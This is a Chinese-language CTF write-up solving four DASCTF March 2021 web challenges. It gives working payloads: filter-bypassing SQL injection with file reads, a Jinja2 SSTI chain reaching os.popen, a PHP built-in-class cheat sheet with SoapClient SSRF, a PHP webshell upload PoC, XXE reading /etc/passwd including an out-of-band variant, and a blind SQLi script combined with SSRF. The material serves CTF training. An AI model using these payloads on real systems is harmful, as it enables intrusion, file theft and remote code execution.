image-20210408173750633

环境是真的卡,心态boom的说。趁着复现环境开启,是时候来一波showtime?NGF

DASCTF 2021年3月WEB类WP


WEB:

BestDB (100):

这是一个比较 easysql注入,首先打开题目 地址 ,是一个用户查询接口:

image-20210406220051947

并且从 网页源码 中得到了语句提示:

image-20210406220117340

显然,可以使用双引号 或者单引号 进行逃逸,从而进行注入攻击。这里直接猜解字段长度,不过显示是过滤了 空格 以及 **单引号 ‘**:

image-20210406220345677

image-20210406221438717

那么可以尝试使用 注释符 和 **双引号 “**进行绕过,比如以下语句:

1"/**/order/**/by/**/[字段数];#

最后成功得到字段数为 3

image-20210406220537889

image-20210406220605093

OK,开始找回显点,其中第 1 字段和第 2 字段为回显点:

image-20210406220703883

尝试直接爆表名:

1"/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database();#

image-20210406220841341

行吧,flag 应该就在 f1agdas 表里边了,可以尝试读这个表的 字段

1"/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name="f1agdas";#

这里得到字段名为 idf1agdas ,那么继续读 记录

1"/**/union/**/select/**/*,3/**/from/**/f1agdas;#

image-20210406221638957

下一步应该是读 flag.txt 这个文件了,先看一下 secure_file_priv

即能够读的地方:

1"/**/union/**/select/**/1,@@secure_file_priv,3;#

得到 ,也就是可以在任意地方读拥有可读权限的文件了。但是 flag 应该也是被过滤了:

image-20210406223042596

使用 concat 函数拼接,就可以读到 flag 了:

1"/**/union/**/select/**/1,load_file(concat("/fl","ag.txt")),3;#

image-20210406223315289

最后 flag

DASCTF{352f1504696639a0d71c2d36591d505b}

baby_flask (200):

这题吧,还行,只要知道了 ssti 的大致原理,毫无难度,地址 。打开进去可以从网页源码看到过滤内容:

image-20210406224554173

即是:

'.','[','\'','"',''\\','+',':','_','chr','pop','class','base','mro','init','globals','get','eval','exec','os','popen','open','read','select','url_for','get_flashed_messages','config','request','count','length','','','','','','','','','','','0','1','2','3','4','5','6','7','8','9'

看起来是过滤了不少东西,这里依次来做分析。

首先是单引号 和双引号 被过滤,也就是说咱们的 字符串 要么得进行 组合拼接 ,要么就得想办法通过 参数传入

其次一些关键字是被过滤了,比如 . [ ]_ 之类的就不能够取 属性 了,得靠一些例如 |attr 的方式取 属性 ;而 request 被过滤意味着不能够直接使用 request 作为开头来获取 参数传入

同时 数字 被过滤,意味着对一些值的取值会受到一定的影响。

不过,具体可以参考 《总结 - CTF中的SSTI》 这篇文章 (https://morblog.cc/posts/21233/) ,没难度。

这里可以先直接上一个原始的 payload

lipsum.__globals__.get('os').popen(self._TemplateReference__context['request'].args.a).read()

现在要做的即是想办法拼接上边的 payload ,可以再做一个简单的转换:

lipsum|attr("__globals__")|attr("get")("os")|attr("popen")(self|attr("_TemplateReference__context")|attr("__getitem__")("request")|attr("args")|attr("a"))|attr("read")()

其中,由于 python3 是支持 unicode 编码,那么可以到 unicode 网站去搜一些数字:

image-20210406233620808

当然,如果用例如数字拼接也是可以,比如 ((not{})|int,{}|int)|join|int # 10

其中普通字符可以使用以下方式获取:

{%set x=lipsum|string|string|truncate(𝟷𝟵,𝟷,a|string)|list|last%} # _
{%set a=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # __globals__
{%set b=(dict(ge=a,t=a))|join%} # get
{%set c=dict(o=a,s=a)|join%} # os
{%set d=dict(po=a,pen=a)|join%} # popen
{%set e=(x,dict(TemplateReference=a)|join,x,x,dict(context=a)|join)|join%} # _TemplateReference__context
{%set f=(x,x,b,dict(item=a)|join,x,x)|join%} # __getitem__
{%set h=dict(req=a,uest=a)|join%} # request
{%set i=dict(args=a)|join%} # args
{%set j=dict(a=a)|join%} # a
{%set k=dict(re=a,ad=a)|join%} # read

最后拼接:

{%set x=lipsum|string|string|truncate(𝟷𝟵,𝟷,a|string)|list|last%} # _
{%set a=(x,x,dict(glo=a,bals=a)|join,x,x)|join%} # __globals__
{%set b=(dict(ge=a,t=a))|join%} # get
{%set c=dict(o=a,s=a)|join%} # os
{%set d=dict(po=a,pen=a)|join%} # popen
{%set e=(x,dict(TemplateReference=a)|join,x,x,dict(context=a)|join)|join%} # _TemplateReference__context
{%set f=(x,x,b,dict(item=a)|join,x,x)|join%} # __getitem__
{%set h=dict(req=a,uest=a)|join%} # request
{%set i=dict(args=a)|join%} # args
{%set j=dict(a=a)|join%} # a
{%set k=dict(re=a,ad=a)|join%} # read
{{(lipsum|attr(a)|attr(b)(c)|attr(d))(self|attr(e)|attr(f)(h)|attr(i)|attr(f)(j))|attr(k)()}}

比如可以先执行 whoami ,这里得到:

image-20210407092823845

但是没从根目录找到 flag ,尝试读 start.sh

image-20210407092937143

。。。然后 ls 就能得到 flag 了:

image-20210407093016801

最后 flag

flag{67815b0c009ee970fe4014abaa3fa6a0}

ez_serialize (200):

有点脑洞,不过也就只能作为 ctf 题啦。这个题目的 地址 ,打开之后直接给了源码:

image-20210407145647472

显然,这个题目是给一个形如 **new [可控](可控) ** 型的接口,并且后边会有 **echo ** 的显示,然后让咱们自由发挥。这实际上也就是考 php 拥有 __construct** 和 **__toString 魔法方法的 内置类 了。

不如做一个简单的常用 php 内置类总结:

类名 关键方法 利用方式 要求
Error __toString XSS PHP 7 且开启报错
Exception __toString XSS PHP 5,PHP 7 需要开启报错
SoapClient __call SSRF,绕过不存在方法调用 需拥有该扩展
SimpleXMLElement __construct XXE 需拥有该扩展
SplFileInfo __construct, __toString XSS PHP 5 >= 5.1.2,PHP 7
DirectoryIterator __construct, __toString 获取某个目录内容的迭代器 PHP 5,PHP 7
FilesystemIterator __construct 类似获取某个目录内容的迭代器 PHP 5 >= 5.3.0,PHP 7
DirectoryIterator __construct 获取某个目录内容的递归迭代器 PHP 5,PHP 7
GlobIterator __construct 以glob表达式获取迭代器 PHP 5 >= 5.3.0,PHP 7
SplFileObject __construct,__toString 获取一个文件对象,并输出一行内容 PHP 5 >= 5.1.0,PHP 7
SoapFault __toString XSS 需拥有该扩展,并开启报错
SodiumException __toString XSS PHP 7 >= 7.2.0,PHP 8
SQLite3 __construct 新建空文件 PHP 5 >= 5.3.0,PHP 7
ZipArchive::open __construct,open 任意删文件 (PHP 5 >= 5.2.0,PHP 7,PECL zip >= 1.1.0

然后是各个 内置类 的简单利用:

  • Error

    可以进行XSS。

<?php
$e = Error("<script>alert(1)</script>");
echo unserialize(serialize($e));
  • Exception

    还是XSS。

<?php
$e = Error("<script>alert(1)</script>");
echo unserialize(serialize($e));
  • SoapClient

    可以进行简单的POST请求,包括普通传参以及文件上传之类的。

    • 简单POST请求:

      <?php
      class get_simple_soap{
      	
      	static public $url = 'http://127.0.0.1/page/login/qhq-run';
      	static public $ua = 'DQ';
      	static public $params = array();
      	static public $data = array('username' => 'DQ','password'=>'baEN2y8sqr9Ma7HrY2FV3HYXq2ZATdkt8WVN7DtjpRPaTz2Egx');
      	static public $cookie = array('PHPSESSID' => 'dudtev0j8eplfhn57ai764hdkn');
      	static public $headers = array('z'=>'ls');
      	
      	private function soap_data($config){
      	
      		$cookie = array();
      		$headers = array();
      		foreach($config['cookies'] as $key => $value){
      			array_push($cookie,$key.'='.$value);
      		}
      		foreach($config['headers'] as $key => $value){
      			array_push($headers,$key.':'.$value);
      		}
      	
      		$params = http_build_query($config['params']);
      		$data = http_build_query($config['data']);
      		$content_type = 'Content-Type: application/x-www-form-urlencoded';
      		$content_length = 'Content-Length: '.strlen($data);
      		$contents = join("\x0d\x0a",array($config['ua'],'Cookie: '.join(';',$cookie),join("\x0d\x0a",$headers),$content_type,$content_length))."\x0d\x0a\x0d\x0a".$data;
      
      		$soap = new SoapClient(null, array(
      			'location' => $config['url'].'?'.$params,
      			'user_agent' => $contents,
      			'uri' => '2333'
      		));
      
      		return serialize($soap);
      	
      	}
      	
      	public function __toString(){
      	
      		return $this->soap_data(array(
      				'url' => self::$url,
      				'ua' => self::$ua,
      				'params' => self::$params,
      				'data' => self::$data,
      				'cookies' => self::$cookie,
      				'headers' => self::$headers
      				));	
      	}
      	
      }
      
      $c=unserialize((string) new get_simple_soap());
      $c->xx();
      ?>
    • 简单文件上传:

      <?php
      
      class get_form_data_soap{
      	
      	static public $url = 'http://127.0.0.1:35810/config/file.php';
      	static public $ua = 'DQ';
      	static public $params = array();
      	static public $data = array('id' => 'exp_2333');
      	static public $file = array('file' => array('filename'=>'a.php','type'=>'image/svg+xml','content'=>'<?=eval($_GET[1])?>')); # file_get_contents(*);
      	static public $cookie = array('PHPSESSID' => '2333');
      	static public $headers = array('z'=>'ls');
      	
      	private function soap_data($config){
      		
      		$cookie = array();
      		$headers = array();
      		foreach($config['cookies'] as $key => $value){
      			array_push($cookie,$key.'='.$value);
      		}
      		foreach($config['headers'] as $key => $value){
      			array_push($headers,$key.':'.$value);
      		}
      	
      		$params = http_build_query($config['params']);	
      		
      		$fuzz = str_repeat('-',24).md5(time().md5(mt_rand()));
      		$data = '';
      		foreach($config['data'] as $key => $value){
      			$data.=join("\x0d\x0a",array($fuzz,"Content-Disposition: form-data; name=\x22{$key}\x22",'',$value,''));
      		}
      		foreach($config['file'] as $key => $value){
      			$data.=join("\x0d\x0a",array($fuzz,"Content-Disposition: form-data; name=\x22{$key}\x22; filename=\x22{$value['filename']}\x22","Content-Type: {$value['type']}",'',$value['content'],''));
      		}
      		$data.=$fuzz.'--';
      		$content_type = 'Content-Type: multipart/form-data; boundary='.substr($fuzz,2);
      		$content_length = 'Content-Length: '.strlen($data);
      		$contents = join("\x0d\x0a",array($config['ua'],'Cookie: '.join(';',$cookie),join("\x0d\x0a",$headers),$content_type,$content_length))."\x0d\x0a\x0d\x0a".$data;
      		
      		$soap = new SoapClient(null, array(
      			'location' => $config['url'].'?'.$params,
      			'user_agent' => $contents,
      			'uri' => '2333'
      		));
      		
      		#echo str_replace("\x0a",'<br>',$contents);
      
      		return serialize($soap);
      	}
      	
      	public function __toString(){
      	
      		return $this->soap_data(array(
      				'url' => self::$url,
      				'ua' => self::$ua,
      				'params' => self::$params,
      				'data' => self::$data,
      				'file' => self::$file,
      				'cookies' => self::$cookie,
      				'headers' => self::$headers
      				));	
      	}
      	
      }
      
      $c=unserialize((string) new get_form_data_soap());
      $c->xx();
      ?>

    或是进行不存在方法绕过。

    <?php
    
    class e{
    	private $user = 'admin';
    	private $pass = '123456';
    }
    
    $soap = new SoapClient(null, array(
    			'location' => 'http://127.0.0.1/',
    			'user_agent' => 'dq',
    			'uri' => '2333'
    		));
    $soap->take=new e;
    $c=unserialize(serialize($soap));
    $c->xx();
  • SimpleXMLElement

    可以进行xxe。

    • 本地XXE:

      <?php
      $xml = <<<XML
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE ANY[
          <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <x>&xxe;</x>
      XML;
      
      echo new SimpleXMLElement($xml,2);
      ?>
    • 外带XXE:

      <?php
      echo new SimpleXMLElement("http://????/a.xml",6,1); 
      ?>
      
      ## 外部的XML内容
      <?xml version="1.0" encoding="utf-8"?>
      <!DOCTYPE ANY[
          <!ENTITY xxe SYSTEM "file:///etc/passwd">
      ]>
      <x>&xxe;</x>
  • SplFileInfo

    可以XSS。

    <?php
    echo new SplFileInfo("<script>alert(1)</script>");
    ?>
  • DirectoryIterator

    可以罗列文件/目录。

    <?php
    foreach(new DirectoryIterator(".") as $f){
    	echo $f;
    }
    ?>
  • FilesystemIterator

    默认会去除 . 和 .. ,可以罗列文件/目录。

    <?php
    echo new FilesystemIterator(".");# 这个会自动去除 . 和 .. ,获取第一个排在前边的文件/目录名
    
    ## 或者
    foreach(new FilesystemIterator(".") as $f){
    	echo $f;
    }
    ?>
  • GlobIterator

    可以以 glob 格式检索文件/目录。

    <?php
    echo new GlobIterator("/flag*"); # 可以通过形如glob格式来检索文件名
    
    ## 或者
    foreach(new GlobIterator("*") as $f){
    	echo $f;
    }
    ?>
  • SplFileObject

    可以获取文件内容。

    <?php
    echo new SplFileObject("/flag"); # 这里 __toString 方法相当于 fgets,获取一行内容
    ?>
  • SoapFault

    可以XSS。

    <?php
    echo unserialize(serialize(new SoapFault("<script>alert(1)</script>",null)));
    ?>
  • SodiumException

    还是XSS。

    <?php
    echo new SodiumException("<script>alert(1)</script>");
    ?>
  • SQLite3

    可以新建空文件。

    <?php
    new SQLite3('/tmp/ok.txt');
    ?>
  • ZipArchive::open

    可以删文件。

    <?php
    $z = new ZipArchive();
    $z->open('/tmp/ok.txt',8);
    ?>

那么这里继续来看题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

显然,这里只能从 $_GET[‘pop’] 参数传入,然后在 A 类中存在一个 new [可控]([可控]) 的语句,并且前边还给了个 echo ,也就可以调用这个 new 类的 __toString 方法,即是 echo new $this->class ($this->para)

不过这里遇到一个问题是,在上边 $this->check->vaild($this->para) && $this->check->vaild($this->class) 会对可控的内容进行检测,检测规则为 '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i' ,若包含其中一个字符则会不会往下执行。

同时这个可控的参数仅能传入 1 个,那么这里正解应该是使用 FilesystemIterator 查看当前目录的文件(由于 ***** 被过滤,GlobIterator 有些力不从心了)。

那么进行构造:

<?php
class A{}
$a = new A;
$a->class = 'FilesystemIterator';
$a->para = '.';
echo urlencode(serialize($a));
?>

看起来 flag 应该是和这个文件有关了:

image-20210408125639354

不过目前还并不清楚这个玩意是 文件 还是 目录 。可以尝试使用 SplFileObject 对其进行读取,构造:

<?php
class A{}
$a = new A;
$a->class = 'SplFileObject';
$a->para = '1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';
echo urlencode(serialize($a));
?>

那么,显然是一个目录了:

image-20210408125830681

image-20210408125851744

由于这个是属于 网络目录 上,那么 flag 要想不能够直接被访问,大概率应该会被命名为 flag.php。直接构造:

<?php
class A{}
$a = new A;
$a->class = 'SplFileObject';
$a->para = '1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';
echo urlencode(serialize($a));
?>

OK,此时就能得到 flag 了:

image-20210408130320230

最后 flag

aced3598a34a561715dacfe32a328c1c

ez_login (200):

咋说呢,这题还是有点意思,不过确实体验不怎么好。打开题目得到以下界面:

image-20210408165215516

这里第一步得绕 session 这个使用 PHP_SESSION_UPLOAD_PROGRESS 就行了。至于如何利用 PHP_SESSION_UPLOAD_PROGRESS 可以参考一下 链接

然后是对内网IP的检测,emmm,直接 localhost 即可。不过对头部进行了过滤,只允许 httphttps

然后,直接访问 admin.php 会得到 Only localhost 的提示:

image-20210408165829697

可以简单构造一下去访问这个 admin.php :

from requests import session

s = session()
url = "http://183.129.189.60:10015/?url=http://localhost/admin.php"
g = s.post(url=url , data={"PHP_SESSION_UPLOAD_PROGRESS": "morouu"}, files={"file": ("morouu.go", "morouu")},cookies={"PHPSESSID": "morouu"})
print(g.text)

得到:

image-20210408170059170

拿到浏览器去看一下,发现一个备份文件:

image-20210408170222301

那么继续请求这个备份文件:

from requests import session

s = session()
url = "http://183.129.189.60:10015/?url=http://localhost/yuanma_f0r_eAZy_logon.zip"
g = s.post(url=url , data={"PHP_SESSION_UPLOAD_PROGRESS": "morouu"}, files={"file": ("morouu.go", "morouu")},cookies={"PHPSESSID": "morouu"})
with open("bk.zip","wb") as f:
    f.write(g.content)

然后解压:

image-20210408170424139

以及源码:

<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
    exit();
}else{
    try{
    $sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
    $result = $con->query($sql);
    echo $sql;
    }catch(Exception $e){
        echo $e->getMessage();
    }
    ($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') )); 
}

行吧,看起来是一个盲注了,可以简单写一个盲注脚本。这里先尝试盲注 当前数据库

from requests import session
from urllib.parse import quote
s = session()

def mz():
    url = "http://183.129.189.60:10015/?url=http://localhost/se1f_Log3n.php?password=%26"
    p1 = "username='or(select((substr(lpad(bin(ascii(substr(database(),%d,1))),7,0x30),%d,1))));-- -"
    i, j = 0, ""
    result = ""
    while True:
        i += 1
        j = ""
        for bit in range(1, 8):
            g = s.post(url=url + quote(p1%(i,bit)), data={"PHP_SESSION_UPLOAD_PROGRESS": "morouu"}, files={"file": ("morouu.go", "morouu")},
                   cookies={"PHPSESSID": "morouu"})
            if ("correct" in g.text):
                j += '1'
            else:
                j += '0'
        if (j == '0000000'):
            break
        else:
            result += chr(int(j, 2))
            print(result)
    print(("Result:", result))
if __name__ == '__main__':
    mz()

得到:

image-20210408172335568

然后再查看 当前数据库 中有哪些表:

p2 = "username='or(select((substr(lpad(bin(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))),7,0x30),%d,1))));-- -"

得到:

那么再看 secret 表中有哪些字段:

p3 = "username='or(select((substr(lpad(bin(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='secret'),%d,1))),7,0x30),%d,1))));-- -"

得到:

image-20210408172513444

很好,最后注入 flag 内容:

p4 = "username='or(select((substr(lpad(bin(ascii(substr((select group_concat(flag) from secret),%d,1))),7,0x30),%d,1))));-- -"

得到:

image-20210408172632457

此时就可以得到 flag 了。

最后 flag

flag{3f2f5a67062d3ff56c6ace415d01d3f8}

​ 多读书。